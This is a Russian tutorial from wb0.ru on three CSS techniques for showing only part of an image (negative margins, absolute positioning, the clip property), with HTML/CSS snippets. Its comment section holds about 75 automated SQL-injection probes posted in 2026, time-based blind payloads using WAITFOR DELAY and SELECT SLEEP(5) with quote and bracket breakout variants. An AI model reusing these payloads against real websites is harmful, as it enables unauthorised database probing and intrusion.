Обрезаем изображение с помощью CSS. Статьи. wb0.ru - Все для веб-мастера, on-line сервисы

Обрезаем изображение с помощью CSS

Рассмотрим три простых способа, которые можно использовать, чтобы показать только часть изображения на сайте. Отметим, что при момощи этих методов изображение не обрезается до определенного размера в прямом смысле, а лишь показывается его часть, которую нам необходимо увидеть и скрывается ненужная область.

Эти методы могут быть очень полезными, если необходимо привести изображение к определенному размеру или создать предпросмотр, например, в ленте новостей и т.п.

Способ 1. Использование отрицательных полей

Изображение необходимо поместить в родительский элемент, в нашем случае - div. Родительский элемент должен быть обтекаемым элементом (или с заданной шириной). Метод не будет работать на блочных элементах или элементах во всю ширину.

Установим отрицательные поля для всех четырех сторон: top (сверху), right (справа), bottom (снизу) и left (слева). Отрицательные поля определяют, насколько изображение, находящееся в родительском элементе обрезано в каждом направлении. Затем установим свойство родительского элемента overflow (перекрывание) на hidden (скрыть), чтобы скрыть поля, которые находятся за областью вырезанного изображения.

  1. <div class="crop"><img src="image.gif" alt="" /></div>

  1. .crop
  2. {
  3.    float: left;
  4.    overflow: hidden;
  5. }
  6. .crop img
  7. {
  8.    margin: -70px -50px -160px -175px;
  9. }

Способ 2. Использование абсолютного позиционирования

По этому методу задаем ширину и высоту родительского эдемента, свойство position (позиционирование) устанавливаем relative (относительным). Ширина и высота определяют размеры отображаемого поля. Для изображения внутри родительского элемента свойство позиционирования задаем absolute (абсолютным). Затем с помощью свойств top (сверху) и left (слева) задаем, какую часть изображения показывать.

  1. <div class="crop"><img src="image.gif" alt="" /></p>

  1. .crop
  2. {
  3.    float: left;
  4.    overflow: hidden;
  5.    position: relative;
  6.    width: 270px;
  7.    height: 260px;
  8. }
  9. .crop img
  10. {
  11.    position: absolute;
  12.    top: -70px;
  13.    left: -175px;
  14. }

Способ 3. Использование свойства сlip

Этот способ самый простой, так как свойство clip определяет часть элемента, которую надо показать. Но этот метод имеет два недостатка.

Во-первых, обрезанный элемент должен позиционироваться абсолютно. Поэтому нам придется добавить дополнительный элемент, вычислить размер видимой области изображения, добавить этот размер и задать свойство float родителю.

Во-вторых, размер видимой области не уменьшается до размера вырезанной части, а остается равным размеру всего изображения (область за пределами вырезанной части только скрывается). Мы должны использовать абсолютное позиционирование, чтобы переместить видимую область в верхний левый угол родителя.

  1. <div class="crop"><p><img src="image.gif" alt="" /></p></div>

  1. .crop
  2. {
  3.    float: left;
  4.    position: relative;
  5.    width: 150px;
  6.    height: 90px;
  7. }
  8. .crop p
  9. {
  10.    margin: 0;
  11.    position: absolute;
  12.    top: -70px;
  13.    left: -175px;
  14.    clip: rect(70px 445px 330px 175px);
  15. }

Результаты всех трех методов обрезания абсолютно идентичны, но наиболее простым является первый, т.к. при его использовании нет необходимости менять значения родительского элемента.

Изображение до обрезания

Изображение после обрезания

Дата публикации: 12.11.2010
wb0.ru

Статьи по теме:


Комментарии:
  1. nimrus: Спасибо, было полезно
    Добавлен: 2018-11-08

  2. Гость: Having read this I thought it was really enlightening. I appreciate you finding the time and energy to put this informative article together. I once again find myself spending a lot of time both reading and commenting. But so what, it was still worthwhile!
    Добавлен: 2019-06-28

  3. Гость: I think this is one of the most vital information for me. And i am glad reading your article. But wanna remark on some general things, The website style is ideal, the articles is really excellent : D. Good job, cheers
    Добавлен: 2019-06-30

  4. sHzW: WgYk))..',"(,.
    Добавлен: 2026-03-17

  5. ePtu: XtGD,."'.),),(
    Добавлен: 2026-04-24

  6. ePtu: XtGD';WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  7. ePtu: XtGD');WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  8. ePtu: XtGD'));WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  9. ePtu: XtGD')));WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  10. ePtu: XtGD%';WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  11. ePtu: XtGD");WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  12. ePtu: XtGD"));WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  13. ePtu: XtGD";WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  14. ePtu: XtGD);WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  15. ePtu: XtGD));WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  16. ePtu: XtGD)));WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  17. ePtu: XtGD;WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  18. ePtu: XtGD';DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  19. ePtu: XtGD');DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  20. ePtu: XtGD'));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  21. ePtu: XtGD')));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  22. ePtu: XtGD%';DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  23. ePtu: XtGD");DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  24. ePtu: XtGD"));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  25. ePtu: XtGD";DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  26. ePtu: XtGD);DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  27. ePtu: XtGD));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  28. ePtu: XtGD)));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  29. ePtu: XtGD;DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  30. ePtu: XtGD;DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a30;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  31. ePtu: XtGD;DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  32. khJf: spJF())'".,,,,
    Добавлен: 2026-04-28

  33. khJf: spJF';SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  34. khJf: spJF');SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  35. khJf: spJF'));SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  36. khJf: spJF')));SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  37. khJf: spJF%';SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  38. khJf: spJF");SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  39. khJf: spJF"));SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  40. khJf: spJF";SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  41. khJf: spJF);SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  42. khJf: spJF));SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  43. khJf: spJF)));SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  44. khJf: spJF;SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  45. khJf: spJF';SELECT/**/SLEEP(5)--/**/YpxN
    Добавлен: 2026-04-28

  46. khJf: spJF');SELECT/**/SLEEP(5)/**/AND/**/('MDXO'='MDXO
    Добавлен: 2026-04-28

  47. khJf: spJF'));SELECT/**/SLEEP(5)/**/AND/**/(('Xjcm'='Xjcm
    Добавлен: 2026-04-28

  48. khJf: spJF')));SELECT/**/SLEEP(5)/**/AND/**/((('BYKj'='BYKj
    Добавлен: 2026-04-28

  49. khJf: spJF';SELECT/**/SLEEP(5)/**/AND/**/'BXHi'='BXHi
    Добавлен: 2026-04-28

  50. khJf: spJF');SELECT/**/SLEEP(5)/**/AND/**/('Afqp'/**/LIKE/**/'Afqp
    Добавлен: 2026-04-28

  51. khJf: spJF'));SELECT/**/SLEEP(5)/**/AND/**/(('vEZv'/**/LIKE/**/'vEZv
    Добавлен: 2026-04-28

  52. khJf: spJF%';SELECT/**/SLEEP(5)/**/AND/**/'jzzm%'='jzzm
    Добавлен: 2026-04-28

  53. khJf: spJF';SELECT/**/SLEEP(5)/**/AND/**/'TSnY'/**/LIKE/**/'TSnY
    Добавлен: 2026-04-28

  54. khJf: spJF");SELECT/**/SLEEP(5)/**/AND/**/("tUdg"="tUdg
    Добавлен: 2026-04-28

  55. khJf: spJF"));SELECT/**/SLEEP(5)/**/AND/**/(("kMLm"="kMLm
    Добавлен: 2026-04-28

  56. khJf: spJF";SELECT/**/SLEEP(5)/**/AND/**/"Cjxl"="Cjxl
    Добавлен: 2026-04-28

  57. khJf: spJF");SELECT/**/SLEEP(5)/**/AND/**/("uBRk"/**/LIKE/**/"uBRk
    Добавлен: 2026-04-28

  58. khJf: spJF";SELECT/**/SLEEP(5)/**/AND/**/"iKCT"/**/LIKE/**/"iKCT
    Добавлен: 2026-04-28

  59. khJf: spJF';SELECT/**/SLEEP(5)/**/OR/**/'TAcz'='qdOg
    Добавлен: 2026-04-28

  60. khJf: spJF);SELECT/**/SLEEP(5)--/**/SpSO
    Добавлен: 2026-04-28

  61. khJf: spJF);SELECT/**/SLEEP(5)/**/AND/**/(2533/**/BETWEEN/**/2533/**/AND/**/2533
    Добавлен: 2026-04-28

  62. khJf: spJF));SELECT/**/SLEEP(5)/**/AND/**/((5561/**/BETWEEN/**/5561/**/AND/**/5561
    Добавлен: 2026-04-28

  63. khJf: spJF)));SELECT/**/SLEEP(5)/**/AND/**/(((3231/**/BETWEEN/**/3231/**/AND/**/3231
    Добавлен: 2026-04-28

  64. khJf: spJF;SELECT/**/SLEEP(5)
    Добавлен: 2026-04-28

  65. khJf: spJF;SELECT/**/SLEEP(5)--/**/xNeo
    Добавлен: 2026-04-28

  66. khJf: spJF;SELECT/**/SLEEP(5)#/**/KRNA
    Добавлен: 2026-04-28

  67. khJf: spJF';(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  68. khJf: spJF');(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  69. khJf: spJF'));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  70. khJf: spJF')));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  71. khJf: spJF%';(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  72. khJf: spJF");(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  73. khJf: spJF"));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  74. khJf: spJF";(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  75. khJf: spJF);(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  76. khJf: spJF));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  77. khJf: spJF)));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28

  78. khJf: spJF;(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))TJrt)#
    Добавлен: 2026-04-28


   Ваш псевдоним:
Ваш комментарий:

Календарь событий


Новости Интернет


Поиск





Последний пересчет

тИЦ:07 Окт 15
PR:09 Дек 13

Наши партнеры

wservices.ru - регистрация доменов, Whois-сервисы Смайлы на все случаи жизни


 
Copyright © 2006-2026, wb0.ru